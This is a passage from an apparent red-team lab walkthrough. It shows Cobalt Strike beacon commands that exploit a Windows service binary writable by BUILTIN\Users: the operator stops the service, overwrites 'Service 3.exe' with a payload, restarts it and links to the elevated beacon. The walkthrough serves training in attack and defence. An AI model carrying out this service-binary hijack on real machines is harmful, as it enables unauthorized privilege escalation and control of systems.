This output shows that BUILTIN\Users have Modify privileges over Service 3.exe. This allows us to overwrite the binary with something else (make sure you take a backup first).
beacon> download Service 3.exe
[*] started download of C:\Program Files\Vuln Services\Service 3.exe (5120 bytes)
[*] download of Service 3.exe is complete
\
Make a copy of your payload whilst renaming it to Service 3.exe.
beacon> upload C:\Payloads\Service 3.exe
[-] could not upload file: 32 - ERROR_SHARING_VIOLATION
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This seems like an ambiguous error, but it means the file is already in use. This makes sense, since the service is running.
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C:\>net helpmsg 32
The process cannot access the file because it is being used by another process.
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beacon> run sc stop VulnService3
beacon> upload C:\Payloads\Service 3.exe
beacon> ls
[*] Listing: C:\Program Files\Vuln Services\
Size Type Last Modified Name
---- ---- ------------- ----
5kb fil 02/23/2021 15:04:13 Service 1.exe
5kb fil 02/23/2021 15:04:13 Service 2.exe
290kb fil 03/03/2021 11:38:24 Service 3.exe
beacon> run sc start VulnService3
beacon> connect localhost 4444
[+] established link to child beacon: 10.10.123.102